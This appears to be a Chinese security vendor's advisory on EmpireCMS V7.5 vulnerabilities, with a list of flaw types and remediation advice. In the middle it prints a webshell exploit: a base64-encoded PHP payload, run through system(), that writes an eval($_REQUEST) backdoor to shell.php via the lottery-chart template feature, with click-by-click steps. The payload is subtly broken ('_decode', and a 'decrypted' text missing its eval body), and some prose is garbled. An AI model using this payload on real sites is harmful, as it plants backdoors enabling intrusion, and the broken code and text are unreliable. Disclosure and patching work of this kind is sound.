最近,我们在对帝国CMS系统进行代码安全审计时,发现该系统存在网站漏洞,受影响的版本是EmpireCMS V7.5。我们人工对其代码进行详细的漏洞检测与安全代码分析,发现存在三个高危漏洞,都是在网站的后台管理页面上的功能发现的。
帝国CMS系统是一款深受广大站长和网站运营者喜欢的系统,它采用B/S架构开发,php语言+Mysql数据库,支持大并发同时访问,可以承载较多的用户快速的访问网站的各个页面与内容。它具有模板自定义化,可以设置标签与自行设计网站外观,静态html生成,还有采集功能等特点。
在对该代码进行安全检测与渗透测试的过程中,我们会先大体看下代码,熟悉整个网站的架构,数据库配置文件,以及入口调用到的文件。我们会关注安全规则是如何写的,并从多个方面去了解该代码。
目前,我们发现的网站漏洞包括:SQL注入漏洞、网站敏感信息泄露、初始化安装功能漏洞、直行平行越权逻辑漏洞、任意文件上传漏洞、登录绕过漏洞、短信验证码漏洞、找回密码漏洞、数据库备份webshell、XSS跨站、CSRF漏洞等。这些漏洞的产生,主要是由于系统没有对get,post提交方式进行严格的安全效验与过滤,导致恶意代码 ** 入到后端服务器中进行处理。
为了解决这些问题,我们SINE安全技术将采取相应的安全措施,包括修复漏洞、增强密码强度、限制并发访问等,以保障帝国CMS系统的安全性和稳定性。同时,我们也将定期进行安全审计和渗透测试,以确保系统的安全和用户的合法权益。
在帝国CMS的安装过程中,index.php文件在处理前端提交的参数时,可能存在泄露数据库表前缀的风险。此外,fun.php文件中对参数的处理存在安全漏洞,未经验证的恶意代码可以直接被写入到config.php配置文件中。这些信息可能会被恶意利用,因此我们建议尽快修复这个漏洞。
后台还存在get webshell漏洞,打开后台管理功能页面,选择管理彩票走势图模板,紧接着右键点击增加彩票走势图方案中,复制漏洞exp代码:<?php $aa = _decode(ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA)${(system)($aa)};?> 解密后是:ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA=>echo '<?php ;'>shell.php
写到模板内容页面里,左键点击提交,再点击启用此方案,就在会e/admin/template/文件夹下生成一个shell.php文件。
对于帝国CMS漏洞的修复办法,我有以下建议:
1. 对所有GET和POST请求进行安全过滤:这是防止恶意代码注入的有效手段。可以使用内置的过滤函数,如eaddslashes2,或者自定义过滤函数,对输入数据进行安全检查。
2. 增加恶意代码拦截机制:在eaddslashes2参数中增加一个恶意代码检测机制,通过检测后放行,这样可以有效地防止恶意代码的注入。
3. 更改网站后台管理目录:由于该漏洞利用需要拥有后台管理员权限,建议对网站后台的管理目录进行更改,避免恶意访问者获取过多的权限。
4. 复杂化管理员密码设置:对管理员的密码进行复杂的设置,可以提高系统的安全性,减少密码被猜测成功的可能性。
5. 专业网站安全公司协助:如果您对网站漏洞修复不是很了解,可以考虑寻求专业的网站安全公司的帮助。国内有许多优秀的网络安全公司,如SINE安全、启明星辰、绿盟等,他们可以提供专业的解决方案。
6. 及时修复漏洞:网站运营者应多多关注EmpireCMS的官方,一旦发现有新的补丁就立即进行修复。这样可以尽可能减少安全损失。